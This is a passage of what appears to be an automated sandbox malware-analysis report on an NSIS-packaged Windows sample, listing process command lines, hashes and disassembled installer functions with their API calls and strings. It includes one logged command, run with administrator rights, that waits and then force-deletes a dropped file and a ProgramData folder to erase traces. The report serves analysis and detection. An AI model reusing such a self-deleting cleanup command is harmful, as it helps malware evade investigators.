Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	00:22:16
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" /c timeout /t 10 & del /f /q "C:\Users\user\AppData\Local\Temp\245347\Dry.com" & rd /s /q "C:\ProgramData\OHVS0RIMGLNY" & exit
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	00:22:16
Start date:	23/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	00:22:17
Start date:	23/12/2024
Path:	C:\Windows\SysWOW64\timeout.exe
Wow64 process (32bit):	true
Commandline:	timeout /t 10
Imagebase:	0x490000
File size:	25'088 bytes
MD5 hash:	976566BEEFCCA4A159ECBDB2D4B1A3E3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	17.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	21%
Total number of Nodes:	1482
Total number of Limit Nodes:	26

Executed Functions

Function 004050F9 Relevance: 66.8, APIs: 36, Strings: 2, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040515B
GetDlgItem.USER32(?,000003EE), ref: 0040516A
GetClientRect.USER32(?,?), ref: 004051C2
GetSystemMetrics.USER32(00000015), ref: 004051CA
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051EB
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051FC
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 0040520F
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 0040521D
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405230
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405252
ShowWindow.USER32(?,00000008), ref: 00405266
GetDlgItem.USER32(?,000003EC), ref: 00405287
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00405297
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 004052AC
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 004052B8
GetDlgItem.USER32(?,000003F8), ref: 00405179

Part of subcall function 00403DC4: SendMessageW.USER32(00000028,?,00000001,004057E0), ref: 00403DD2

Part of subcall function 00406831: GetVersion.KERNEL32(00445D80,?,00000000,00404FD5,00445D80,00000000,00424179,74DF23A0,00000000), ref: 00406902

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

GetDlgItem.USER32(?,000003EC), ref: 004052D7
CreateThread.KERNELBASE(00000000,00000000,Function_00005073,00000000), ref: 004052E5
CloseHandle.KERNELBASE(00000000), ref: 004052EC
ShowWindow.USER32(00000000), ref: 00405313
ShowWindow.USER32(?,00000008), ref: 00405318
ShowWindow.USER32(00000008), ref: 0040535F
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405391
CreatePopupMenu.USER32 ref: 004053A2
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 004053B7
GetWindowRect.USER32(?,?), ref: 004053CA
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053EC
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405427
OpenClipboard.USER32(00000000), ref: 00405437
EmptyClipboard.USER32 ref: 0040543D
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00405449
GlobalLock.KERNEL32(00000000), ref: 00405453
SendMessageW.USER32(?,00001073,00000000,?), ref: 00405467
GlobalUnlock.KERNEL32(00000000), ref: 00405489
SetClipboardData.USER32(0000000D,00000000), ref: 00405494
CloseClipboard.USER32 ref: 0040549A

Strings

New install of "%s" to "%s", xrefs: 004051AE
{, xrefs: 0040537E

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: New install of "%s" to "%s"${
API String ID: 2110491804-1641061399
Opcode ID: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction ID: db3ff0878cedf1d1b3e6f9985675ba3e3c8e3ad145c0decdf5c07b0ce3ef5d1a
Opcode Fuzzy Hash: 27dd6abe78b25364254968db719b86f88dfe8c12dd5559a56974b496927f2e5b
Instruction Fuzzy Hash: 46B15970900609BFEB11AFA1DD89EAE7B79FB04354F00803AFA05BA1A1C7755E81DF58

Function 004038AF Relevance: 52.8, APIs: 22, Strings: 8, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038CE
SetErrorMode.KERNELBASE(00008001), ref: 004038D9
OleInitialize.OLE32(00000000), ref: 004038E0

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

SHGetFileInfoW.SHELL32(0040A264,00000000,?,000002B4,00000000), ref: 00403908

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

GetCommandLineW.KERNEL32(00476AA0,NSIS Error), ref: 0040391D
GetModuleHandleW.KERNEL32(00000000,004CF0A0,00000000), ref: 00403930
CharNextW.USER32(00000000,004CF0A0,00000020), ref: 00403957
GetTempPathW.KERNEL32(00002004,004E30C8,00000000,00000020), ref: 00403A2C
GetWindowsDirectoryW.KERNEL32(004E30C8,00001FFF), ref: 00403A41
lstrcatW.KERNEL32(004E30C8,\Temp), ref: 00403A4D
DeleteFileW.KERNELBASE(004DF0C0), ref: 00403A64
CoUninitialize.COMBASE(?), ref: 00403AFD
ExitProcess.KERNEL32 ref: 00403B1D
lstrcatW.KERNEL32(004E30C8,~nsu.tmp), ref: 00403B29
lstrcmpiW.KERNEL32(004E30C8,004DB0B8,004E30C8,~nsu.tmp), ref: 00403B35
CreateDirectoryW.KERNEL32(004E30C8,00000000), ref: 00403B41
SetCurrentDirectoryW.KERNEL32(004E30C8), ref: 00403B48
DeleteFileW.KERNEL32(0043DD40,0043DD40,?,00483008,0040A204,0047F000,?), ref: 00403B99
CopyFileW.KERNEL32(004EB0D8,0043DD40,00000001), ref: 00403BAD
CloseHandle.KERNEL32(00000000,0043DD40,0043DD40,?,0043DD40,00000000), ref: 00403BDA
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C30
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C6C

Strings

~nsu.tmp, xrefs: 00403B23
Error launching installer, xrefs: 00403AA9
_?=, xrefs: 00403A90
SeShutdownPrivilege, xrefs: 00403C42
NCRC, xrefs: 004039A8
\Temp, xrefs: 00403A47
NSIS Error, xrefs: 0040390E
/D=, xrefs: 004039D2

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp
API String ID: 2435955865-3712954417
Opcode ID: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction ID: 6e3717b9be2730fff72f59090edb21b77de3e5055cb75e9aafb2752c1f1d7b94
Opcode Fuzzy Hash: aec89c4631a4f28101b36bf3f0ee1ca0be396cf3d13a1cbdd2f96bcbf360b5e4
Instruction Fuzzy Hash: 1DA1E6715443117AD720BF629C4AE1B7EACAB0470AF10443FF545B62D2D7BD8A448BAE

Function 00406301 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00461E18,00466A20,00461E18,004067FA,00461E18), ref: 0040630C
FindClose.KERNEL32(00000000), ref: 00406318

Strings

jF, xrefs: 00406302

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: jF
API String ID: 2295610775-3349280890
Opcode ID: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction ID: ae54cbf5f70e9060ab25dbcc7d0ddb8e13a77f3b50f8061b144b06f1ffcf0783
Opcode Fuzzy Hash: a5aa16d55819016c4e26a60e9ec5dfcaedf525e35b4e30500cf5e78c71265be2
Instruction Fuzzy Hash: C8D01231A141215BD7105778AD0C89B7E9CDF0A330366CA32F866F11F5D3348C2186ED

Function 00406328 Relevance: 4.5, APIs: 3, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
GetProcAddress.KERNEL32(00000000), ref: 00406353

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: AddressHandleLibraryLoadModuleProc
String ID:
API String ID: 310444273-0
Opcode ID: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction ID: 7c6873576e710d3586a353c563cf751ff2fc1cfd2ce2d1275f1b712779c4e249
Opcode Fuzzy Hash: 2fa3fc2bddc204e922c82fa426c5bb1cc5fbaa7aed8e5e7daaeaf6592e3c6ac6
Instruction Fuzzy Hash: A8D01232200111D7C7005FA5AD48A5FB77DAE95A11706843AF902F3171E734D911E6EC

Function 004015A0 Relevance: 56.4, APIs: 15, Strings: 17, Instructions: 351
sleepfilewindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PostQuitMessage.USER32(00000000), ref: 00401648
Sleep.KERNELBASE(00000000,?,00000000,00000000,00000000), ref: 004016B2
SetForegroundWindow.USER32(?), ref: 004016CB
ShowWindow.USER32(?), ref: 00401753
ShowWindow.USER32(?), ref: 00401767
SetFileAttributesW.KERNEL32(00000000,00000000,?,000000F0), ref: 0040178C
CreateDirectoryW.KERNELBASE(?,00000000,00000000,0000005C,?,?,?,000000F0,?,000000F0), ref: 004017F4
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 004017FE
GetLastError.KERNEL32(?,?,000000F0,?,000000F0), ref: 0040180B
GetFileAttributesW.KERNELBASE(?,?,?,000000F0,?,000000F0), ref: 0040182A
SetCurrentDirectoryW.KERNELBASE(?,004D70B0,?,000000E6,004100F0,?,?,?,000000F0,?,000000F0), ref: 00401885
MoveFileW.KERNEL32(00000000,?), ref: 00401908
GetFullPathNameW.KERNEL32(00000000,00002004,00000000,?,00000000,000000E3,004100F0,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 00401975
GetShortPathNameW.KERNEL32(00000000,00000000,00002004), ref: 004019BF
SearchPathW.KERNELBASE(00000000,00000000,00000000,00002004,00000000,?,000000FF,?,00000000,00000000,?,?,?,?,?,000000F0), ref: 004019DE

Strings

SetFileAttributes failed., xrefs: 004017A1
CreateDirectory: "%s" created, xrefs: 00401849
BringToFront, xrefs: 004016BD
IfFileExists: file "%s" does not exist, jumping %d, xrefs: 004018C6
Rename on reboot: %s, xrefs: 00401943
CreateDirectory: "%s" (%d), xrefs: 004017BF
CreateDirectory: can't create "%s" (err=%d), xrefs: 00401815
Aborting: "%s", xrefs: 0040161D
Sleep(%d), xrefs: 0040169D
IfFileExists: file "%s" exists, jumping %d, xrefs: 004018AD
Call: %d, xrefs: 0040165A
Jump: %d, xrefs: 00401602
Rename failed: %s, xrefs: 0040194B
CreateDirectory: can't create "%s" - a file already exists, xrefs: 00401837
SetFileAttributes: "%s":%08X, xrefs: 0040177B
Rename: %s, xrefs: 004018F8
detailprint: %s, xrefs: 00401679

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: FilePathWindow$AttributesDirectoryErrorLastNameShow$CreateCurrentForegroundFullMessageMovePostQuitSearchShortSleep
String ID: Aborting: "%s"$BringToFront$Call: %d$CreateDirectory: "%s" (%d)$CreateDirectory: "%s" created$CreateDirectory: can't create "%s" (err=%d)$CreateDirectory: can't create "%s" - a file already exists$IfFileExists: file "%s" does not exist, jumping %d$IfFileExists: file "%s" exists, jumping %d$Jump: %d$Rename failed: %s$Rename on reboot: %s$Rename: %s$SetFileAttributes failed.$SetFileAttributes: "%s":%08X$Sleep(%d)$detailprint: %s
API String ID: 2872004960-3619442763
Opcode ID: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction ID: d546d874ac51cf0a7c72b7d7aee7a5a926bf82a1b22bfeef9e4f81a1fba4758f
Opcode Fuzzy Hash: cb44afc3f00204bc7321e8aa54be61598e0149da34aa070ef9c2be04eb5c6a73
Instruction Fuzzy Hash: 9EB1F435A00214ABDB10BFA1DD55DAE3F69EF44324B21817FF806B61E2DA3D4E40C66D

Function 004054A5 Relevance: 48.3, APIs: 32, Instructions: 345
windowstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000013), ref: 004054E1
ShowWindow.USER32(?), ref: 004054FE
DestroyWindow.USER32 ref: 00405512
SetWindowLongW.USER32(?,00000000,00000000), ref: 0040552E
GetDlgItem.USER32(?,?), ref: 0040554F
SendMessageW.USER32(00000000,000000F3,00000000,00000000), ref: 00405563
IsWindowEnabled.USER32(00000000), ref: 0040556A
GetDlgItem.USER32(?,00000001), ref: 00405619
GetDlgItem.USER32(?,00000002), ref: 00405623
SetClassLongW.USER32(?,000000F2,?), ref: 0040563D
SendMessageW.USER32(0000040F,00000000,00000001,?), ref: 0040568E
GetDlgItem.USER32(?,00000003), ref: 00405734
ShowWindow.USER32(00000000,?), ref: 00405756
KiUserCallbackDispatcher.NTDLL(?,?), ref: 00405768
EnableWindow.USER32(?,?), ref: 00405783
GetSystemMenu.USER32(?,00000000,0000F060,00000001), ref: 00405799
EnableMenuItem.USER32(00000000), ref: 004057A0
SendMessageW.USER32(?,000000F4,00000000,00000001), ref: 004057B8
SendMessageW.USER32(?,00000401,00000002,00000000), ref: 004057CB
lstrlenW.KERNEL32(00451D98,?,00451D98,00476AA0), ref: 004057F4
SetWindowTextW.USER32(?,00451D98), ref: 00405808
ShowWindow.USER32(?,0000000A), ref: 0040593C

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: Window$Item$MessageSend$Show$EnableLongMenu$CallbackClassDestroyDispatcherEnabledSystemTextUserlstrlen
String ID:
API String ID: 3282139019-0
Opcode ID: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction ID: f960999a9681c69a960cfafceaa395f4ab6c0ab2fcbff8166cb7657a87eea2d0
Opcode Fuzzy Hash: 368de82205cbc4940732e302d2e847697efd4030890e1d8fceca6bf2533b68ed
Instruction Fuzzy Hash: 13C189B1500A04FBDB216F61ED89E2B7BA9EB49715F00093EF506B11F1C6399881DF2E

Function 00405958 Relevance: 45.7, APIs: 15, Strings: 11, Instructions: 233
stringregistrylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406328: GetModuleHandleA.KERNEL32(?,?,00000020,004038F2,00000008), ref: 00406336
Part of subcall function 00406328: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038F2,00000008), ref: 00406341
Part of subcall function 00406328: GetProcAddress.KERNEL32(00000000), ref: 00406353

lstrcatW.KERNEL32(004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0,-00000002,00000000,004E30C8,00403AED,?), ref: 004059DA
lstrlenW.KERNEL32(0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000,00000006,004CF0A0), ref: 00405A5C
lstrcmpiW.KERNEL32(0046E218,.exe,0046E220,?,?,?,0046E220,00000000,004D30A8,004DF0C0,00451D98,80000001,Control Panel\Desktop\ResourceLocale,00000000,00451D98,00000000), ref: 00405A6F
GetFileAttributesW.KERNEL32(0046E220), ref: 00405A7A

Part of subcall function 00405F7D: wsprintfW.USER32 ref: 00405F8A

LoadImageW.USER32(00000067,00000001,00000000,00000000,00008040,004D30A8), ref: 00405AE3
RegisterClassW.USER32(00476A40), ref: 00405B36
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 00405B4E
CreateWindowExW.USER32(00000080,?,00000000,80000000,?,?,?,?,00000000,00000000,00000000), ref: 00405B87

Part of subcall function 00403EC1: SetWindowTextW.USER32(00000000,00476AA0), ref: 00403F5C

ShowWindow.USER32(00000005,00000000), ref: 00405BBD
LoadLibraryW.KERNELBASE(RichEd20), ref: 00405BCE
LoadLibraryW.KERNEL32(RichEd32), ref: 00405BD9
GetClassInfoW.USER32(00000000,RichEdit20A,00476A40), ref: 00405BE9
GetClassInfoW.USER32(00000000,RichEdit,00476A40), ref: 00405BF6
RegisterClassW.USER32(00476A40), ref: 00405BFF
DialogBoxParamW.USER32(?,00000000,004054A5,00000000), ref: 00405C1E

Strings

@jG, xrefs: 00405AF2
RichEd32, xrefs: 00405BD4
.exe, xrefs: 00405A69
"F, xrefs: 00405A4B
.DEFAULT\Control Panel\International, xrefs: 004059C5
_Nb, xrefs: 00405AFD
RichEd20, xrefs: 00405BC9
Control Panel\Desktop\ResourceLocale, xrefs: 0040599E
F, xrefs: 00405A22
RichEdit20A, xrefs: 00405BE2, 00405BE7
RichEdit, xrefs: 00405BF0

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: ClassLoad$InfoLibraryWindow$Register$AddressAttributesCreateDialogFileHandleImageModuleParamParametersProcShowSystemTextlstrcatlstrcmpilstrlenwsprintf
String ID: F$"F$.DEFAULT\Control Panel\International$.exe$@jG$Control Panel\Desktop\ResourceLocale$RichEd20$RichEd32$RichEdit$RichEdit20A$_Nb
API String ID: 608394941-2746725676
Opcode ID: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction ID: c846f8899feab6000a015ad3d9ba4b80e1385b5ee8e185a3118195eaaf4def2f
Opcode Fuzzy Hash: ff750bfe5142f8154025b48725ed66ec952ceebe161b5cb34577f361fd6f9efb
Instruction Fuzzy Hash: 53719175600705AEE710AB65AD89E2B37ACEB44718F00453FF906B62E2D778AC41CF6D

Function 00401A1F Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 185
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 004062CF: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406EA5,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062DC
Part of subcall function 004062CF: wvsprintfW.USER32(00000000,?,?), ref: 004062F3

lstrcatW.KERNEL32(00000000,00000000,%MxBearing%,004D70B0,00000000,00000000), ref: 00401A76
CompareFileTime.KERNEL32(-00000014,?,%MxBearing%,%MxBearing%,00000000,00000000,%MxBearing%,004D70B0,00000000,00000000), ref: 00401AA0

Part of subcall function 00406035: lstrcpynW.KERNEL32(?,?,00002004,0040391D,00476AA0,NSIS Error), ref: 00406042

Part of subcall function 00404F9E: lstrlenW.KERNEL32(00445D80,00424179,74DF23A0,00000000), ref: 00404FD6
Part of subcall function 00404F9E: lstrlenW.KERNEL32(004034E5,00445D80,00424179,74DF23A0,00000000), ref: 00404FE6
Part of subcall function 00404F9E: lstrcatW.KERNEL32(00445D80,004034E5,004034E5,00445D80,00424179,74DF23A0,00000000), ref: 00404FF9
Part of subcall function 00404F9E: SetWindowTextW.USER32(00445D80,00445D80), ref: 0040500B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405031
Part of subcall function 00404F9E: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040504B
Part of subcall function 00404F9E: SendMessageW.USER32(?,00001013,?,00000000), ref: 00405059

Strings

File: wrote %d to "%s", xrefs: 00401BD0
File: skipped: "%s" (overwriteflag=%d), xrefs: 00401B81
File: overwriteflag=%d, allowskipfilesflag=%d, name="%s", xrefs: 00401A39
File: error, user retry, xrefs: 00401B40
File: error creating "%s", xrefs: 00401AF0
%MxBearing%, xrefs: 00401A53, 00401A5C, 00401A69, 00401A8C, 00401AC2, 00401AD8, 00401AEF, 00401B07, 00401B5E, 00401B80, 00401BCE, 00401C10, 00401C19, 00401C23, 00401C29, 00401C3B
File: error, user abort, xrefs: 00401B53
File: error, user cancel, xrefs: 00401B93

Memory Dump Source

Source File: 00000000.00000002.1661876602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1661822386.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661894160.0000000000409000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000420000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1661909547.000000000046B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1662030732.0000000000500000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_9EI7wrGs4K.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: %MxBearing%$File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"
API String ID: 4286501637-3689784668
Opcode ID: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction ID: 90fa90950dbbf035c4f81507b49f49b55cd41b97b653845b504dd01eb698d819
Opcode Fuzzy Hash: e66e3e702844fd7f079e7b10ae6de895f6d273da0ae026ac64afba16485083bb
Instruction Fuzzy Hash: 8B512931901214BADB10BBB5CC46EEE3979EF05378B20423FF416B11E2DB3C9A518A6D

Function 004035B3 Relevance: 19.4, APIs: 5, Strings: 6, Instructions: 182
